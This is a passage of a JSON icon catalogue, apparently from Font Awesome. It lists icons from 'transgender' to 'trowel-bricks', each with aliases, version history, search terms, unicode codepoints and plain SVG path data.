        "path": "M86.8 48c-12.2 0-23.6 5.5-31.2 15L42.7 79C34.5 89.3 19.4 91 9 82.7S-3 59.4 5.3 49L18 33C34.7 12.2 60 0 86.8 0H361.2c26.7 0 52 12.2 68.7 33l12.8 16c8.3 10.4 6.6 25.5-3.8 33.7s-25.5 6.6-33.7-3.7L392.5 63c-7.6-9.5-19.1-15-31.2-15H248V96h40c53 0 96 43 96 96V352c0 30.6-14.3 57.8-36.6 75.4l65.5 65.5c7.1 7.1 2.1 19.1-7.9 19.1H365.3c-8.5 0-16.6-3.4-22.6-9.4L288 448H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H43c-10 0-15-12.1-7.9-19.1l65.5-65.5C78.3 409.8 64 382.6 64 352V192c0-53 43-96 96-96h40V48H86.8zM160 160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H160zm32 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "transgender": {
    "aliases": {
      "names": ["transgender-alt"],
      "unicodes": {
        "composite": ["26a7"],
        "secondary": ["10f225"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "female",
        "gender",
        "intersex",
        "male",
        "transgender",
        "transgender symbol"
      ]
    },
    "styles": ["solid"],
    "unicode": "f225",
    "label": "Transgender",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M112 0c6.5 0 12.3 3.9 14.8 9.9s1.1 12.9-3.5 17.4l-31 31L112 78.1l7-7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-7 7 15.2 15.2C187.7 107.6 220.5 96 256 96s68.3 11.6 94.9 31.2l68.8-68.8-31-31c-4.6-4.6-5.9-11.5-3.5-17.4s8.3-9.9 14.8-9.9h96c8.8 0 16 7.2 16 16v96c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5l-31-31-68.8 68.8C404.4 187.7 416 220.5 416 256c0 80.2-59 146.6-136 158.2V432h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v8c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V414.2C155 402.6 96 336.2 96 256c0-35.5 11.6-68.3 31.2-94.9L112 145.9l-7 7c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l7-7L58.3 92.3l-31 31c-4.6 4.6-11.5 5.9-17.4 3.5S0 118.5 0 112V16C0 7.2 7.2 0 16 0h96zM352 256a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M112 0c6.5 0 12.3 3.9 14.8 9.9s1.1 12.9-3.5 17.4l-31 31L112 78.1l7-7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-7 7 15.2 15.2C187.7 107.6 220.5 96 256 96s68.3 11.6 94.9 31.2l68.8-68.8-31-31c-4.6-4.6-5.9-11.5-3.5-17.4s8.3-9.9 14.8-9.9h96c8.8 0 16 7.2 16 16v96c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5l-31-31-68.8 68.8C404.4 187.7 416 220.5 416 256c0 80.2-59 146.6-136 158.2V432h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v8c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V414.2C155 402.6 96 336.2 96 256c0-35.5 11.6-68.3 31.2-94.9L112 145.9l-7 7c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l7-7L58.3 92.3l-31 31c-4.6 4.6-11.5 5.9-17.4 3.5S0 118.5 0 112V16C0 7.2 7.2 0 16 0h96zM352 256a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z"
      }
    },
    "free": ["solid"]
  },
  "trash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1f8"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["delete", "garbage", "hide", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f1f8",
    "label": "Trash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M135.2 17.7L128 32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320l-7.2-14.3C307.4 6.8 296.3 0 284.2 0H163.8c-12.1 0-23.2 6.8-28.6 17.7zM416 128H32L53.2 467c1.6 25.3 22.6 45 47.9 45H346.9c25.3 0 46.3-19.7 47.9-45L416 128z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M135.2 17.7L128 32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320l-7.2-14.3C307.4 6.8 296.3 0 284.2 0H163.8c-12.1 0-23.2 6.8-28.6 17.7zM416 128H32L53.2 467c1.6 25.3 22.6 45 47.9 45H346.9c25.3 0 46.3-19.7 47.9-45L416 128z"
      }
    },
    "free": ["solid"]
  },
  "trash-arrow-up": {
    "aliases": {
      "names": ["trash-restore"],
      "unicodes": {
        "secondary": ["10f829"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "back",
        "control z",
        "delete",
        "garbage",
        "hide",
        "oops",
        "remove",
        "undo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f829",
    "label": "Trash Arrow Up",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416L394.8 467c-1.6 25.3-22.6 45-47.9 45H101.1c-25.3 0-46.3-19.7-47.9-45L32 128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416L394.8 467c-1.6 25.3-22.6 45-47.9 45H101.1c-25.3 0-46.3-19.7-47.9-45L32 128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z"
      }
    },
    "free": ["solid"]
  },
  "trash-can": {
    "aliases": {
      "names": ["trash-alt"],
      "unicodes": {
        "composite": ["f014"],
        "secondary": ["10f2ed"]
      }
    },
    "changes": [
      "5.0.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["delete", "garbage", "hide", "remove", "trash-o"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2ed",
    "label": "Trash Can",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M135.2 17.7C140.6 6.8 151.7 0 163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm96 64c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M135.2 17.7C140.6 6.8 151.7 0 163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm96 64c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16z"
      },
      "regular": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M170.5 51.6L151.5 80h145l-19-28.4c-1.5-2.2-4-3.6-6.7-3.6H177.1c-2.7 0-5.2 1.3-6.7 3.6zm147-26.6L354.2 80H368h48 8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V432c0 44.2-35.8 80-80 80H112c-44.2 0-80-35.8-80-80V128H24c-13.3 0-24-10.7-24-24S10.7 80 24 80h8H80 93.8l36.7-55.1C140.9 9.4 158.4 0 177.1 0h93.7c18.7 0 36.2 9.4 46.6 24.9zM80 128V432c0 17.7 14.3 32 32 32H336c17.7 0 32-14.3 32-32V128H80zm80 64V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M170.5 51.6L151.5 80h145l-19-28.4c-1.5-2.2-4-3.6-6.7-3.6H177.1c-2.7 0-5.2 1.3-6.7 3.6zm147-26.6L354.2 80H368h48 8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V432c0 44.2-35.8 80-80 80H112c-44.2 0-80-35.8-80-80V128H24c-13.3 0-24-10.7-24-24S10.7 80 24 80h8H80 93.8l36.7-55.1C140.9 9.4 158.4 0 177.1 0h93.7c18.7 0 36.2 9.4 46.6 24.9zM80 128V432c0 17.7 14.3 32 32 32H336c17.7 0 32-14.3 32-32V128H80zm80 64V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "trash-can-arrow-up": {
    "aliases": {
      "names": ["trash-restore-alt"],
      "unicodes": {
        "secondary": ["10f82a"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "back",
        "control z",
        "delete",
        "garbage",
        "hide",
        "oops",
        "remove",
        "undo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f82a",
    "label": "Trash Can Arrow Up",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z"
      }
    },
    "free": ["solid"]
  },
  "tree": {
    "aliases": {
      "unicodes": {
        "composite": ["1f332"],
        "secondary": ["10f1bb"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bark",
        "evergreen tree",
        "fall",
        "flora",
        "forest",
        "nature",
        "plant",
        "seasonal",
        "tree"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1bb",
    "label": "Tree",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M210.6 5.9L62 169.4c-3.9 4.2-6 9.8-6 15.5C56 197.7 66.3 208 79.1 208H104L30.6 281.4c-4.2 4.2-6.6 10-6.6 16C24 309.9 34.1 320 46.6 320H80L5.4 409.5C1.9 413.7 0 419 0 424.5c0 13 10.5 23.5 23.5 23.5H192v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448H424.5c13 0 23.5-10.5 23.5-23.5c0-5.5-1.9-10.8-5.4-15L368 320h33.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L344 208h24.9c12.7 0 23.1-10.3 23.1-23.1c0-5.7-2.1-11.3-6-15.5L237.4 5.9C234 2.1 229.1 0 224 0s-10 2.1-13.4 5.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M210.6 5.9L62 169.4c-3.9 4.2-6 9.8-6 15.5C56 197.7 66.3 208 79.1 208H104L30.6 281.4c-4.2 4.2-6.6 10-6.6 16C24 309.9 34.1 320 46.6 320H80L5.4 409.5C1.9 413.7 0 419 0 424.5c0 13 10.5 23.5 23.5 23.5H192v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448H424.5c13 0 23.5-10.5 23.5-23.5c0-5.5-1.9-10.8-5.4-15L368 320h33.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L344 208h24.9c12.7 0 23.1-10.3 23.1-23.1c0-5.7-2.1-11.3-6-15.5L237.4 5.9C234 2.1 229.1 0 224 0s-10 2.1-13.4 5.9z"
      }
    },
    "free": ["solid"]
  },
  "tree-city": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "urban"]
    },
    "styles": ["solid"],
    "unicode": "e587",
    "label": "Tree City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM224 160c0 6-1 11-2 16c20 14 34 38 34 64c0 45-36 80-80 80H160V480c0 18-15 32-32 32c-18 0-32-14-32-32V320H80c-45 0-80-35-80-80c0-26 13-50 33-64c-1-5-1-10-1-16c0-53 42-96 96-96c53 0 96 43 96 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM224 160c0 6-1 11-2 16c20 14 34 38 34 64c0 45-36 80-80 80H160V480c0 18-15 32-32 32c-18 0-32-14-32-32V320H80c-45 0-80-35-80-80c0-26 13-50 33-64c-1-5-1-10-1-16c0-53 42-96 96-96c53 0 96 43 96 96z"
      }
    },
    "free": ["solid"]
  },
  "trello": {
    "changes": ["3.2.0", "5.0.0", "5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian"]
    },
    "styles": ["brands"],
    "unicode": "f181",
    "label": "Trello",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"
      }
    },
    "free": ["brands"]
  },
  "triangle-exclamation": {
    "aliases": {
      "names": ["exclamation-triangle", "warning"],
      "unicodes": {
        "composite": ["26a0"],
        "secondary": ["10f071"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.6.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alert",
        "danger",
        "error",
        "important",
        "notice",
        "notification",
        "notify",
        "problem",
        "warnin",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f071",
    "label": "Triangle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480H40c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24V296c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480H40c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24V296c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "trophy": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3c6"],
        "secondary": ["10f091"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "cup",
        "game",
        "prize",
        "trophy",
        "winner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f091",
    "label": "Trophy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M400 0H176c-26.5 0-48.1 21.8-47.1 48.2c.2 5.3 .4 10.6 .7 15.8H24C10.7 64 0 74.7 0 88c0 92.6 33.5 157 78.5 200.7c44.3 43.1 98.3 64.8 138.1 75.8c23.4 6.5 39.4 26 39.4 45.6c0 20.9-17 37.9-37.9 37.9H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H357.9C337 448 320 431 320 410.1c0-19.6 15.9-39.2 39.4-45.6c39.9-11 93.9-32.7 138.2-75.8C542.5 245 576 180.6 576 88c0-13.3-10.7-24-24-24H446.4c.3-5.2 .5-10.4 .7-15.8C448.1 21.8 426.5 0 400 0zM48.9 112h84.4c9.1 90.1 29.2 150.3 51.9 190.6c-24.9-11-50.8-26.5-73.2-48.3c-32-31.1-58-76-63-142.3zM464.1 254.3c-22.4 21.8-48.3 37.3-73.2 48.3c22.7-40.3 42.8-100.5 51.9-190.6h84.4c-5.1 66.3-31.1 111.2-63 142.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M400 0H176c-26.5 0-48.1 21.8-47.1 48.2c.2 5.3 .4 10.6 .7 15.8H24C10.7 64 0 74.7 0 88c0 92.6 33.5 157 78.5 200.7c44.3 43.1 98.3 64.8 138.1 75.8c23.4 6.5 39.4 26 39.4 45.6c0 20.9-17 37.9-37.9 37.9H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H357.9C337 448 320 431 320 410.1c0-19.6 15.9-39.2 39.4-45.6c39.9-11 93.9-32.7 138.2-75.8C542.5 245 576 180.6 576 88c0-13.3-10.7-24-24-24H446.4c.3-5.2 .5-10.4 .7-15.8C448.1 21.8 426.5 0 400 0zM48.9 112h84.4c9.1 90.1 29.2 150.3 51.9 190.6c-24.9-11-50.8-26.5-73.2-48.3c-32-31.1-58-76-63-142.3zM464.1 254.3c-22.4 21.8-48.3 37.3-73.2 48.3c22.7-40.3 42.8-100.5 51.9-190.6h84.4c-5.1 66.3-31.1 111.2-63 142.3z"
      }
    },
    "free": ["solid"]
  },
  "trowel": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["build", "construction", "tool"]
    },
    "styles": ["solid"],
    "unicode": "e589",
    "label": "Trowel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M343.9 213.4L245.3 312l65.4 65.4c7.9 7.9 11.1 19.4 8.4 30.3s-10.8 19.6-21.5 22.9l-256 80c-11.4 3.5-23.8 .5-32.2-7.9S-2.1 481.8 1.5 470.5l80-256c3.3-10.7 12-18.9 22.9-21.5s22.4 .5 30.3 8.4L200 266.7l98.6-98.6c-14.3-14.6-14.2-38 .3-52.5l95.4-95.4c26.9-26.9 70.5-26.9 97.5 0s26.9 70.5 0 97.5l-95.4 95.4c-14.5 14.5-37.9 14.6-52.5 .3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M343.9 213.4L245.3 312l65.4 65.4c7.9 7.9 11.1 19.4 8.4 30.3s-10.8 19.6-21.5 22.9l-256 80c-11.4 3.5-23.8 .5-32.2-7.9S-2.1 481.8 1.5 470.5l80-256c3.3-10.7 12-18.9 22.9-21.5s22.4 .5 30.3 8.4L200 266.7l98.6-98.6c-14.3-14.6-14.2-38 .3-52.5l95.4-95.4c26.9-26.9 70.5-26.9 97.5 0s26.9 70.5 0 97.5l-95.4 95.4c-14.5 14.5-37.9 14.6-52.5 .3z"
      }
    },
    "free": ["solid"]
  },
  "trowel-bricks": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["build", "construction", "reconstruction", "tool"]
    },
    "styles": ["solid"],
    "unicode": "e58a",
    "label": "Trowel Bricks",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M240.8 4.8C250.3 10.6 256 20.9 256 32v72h89c3.6-13.8 16.1-24 31-24h88c26.5 0 48 21.5 48 48s-21.5 48-48 48H376c-14.9 0-27.4-10.2-31-24H256v72c0 11.1-5.7 21.4-15.2 27.2s-21.2 6.4-31.1 1.4l-192-96C6.8 151.2 0 140.1 0 128s6.8-23.2 17.7-28.6l192-96c9.9-5 21.7-4.4 31.1 1.4zM288 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V256zM32 384h96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32zm192 0H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
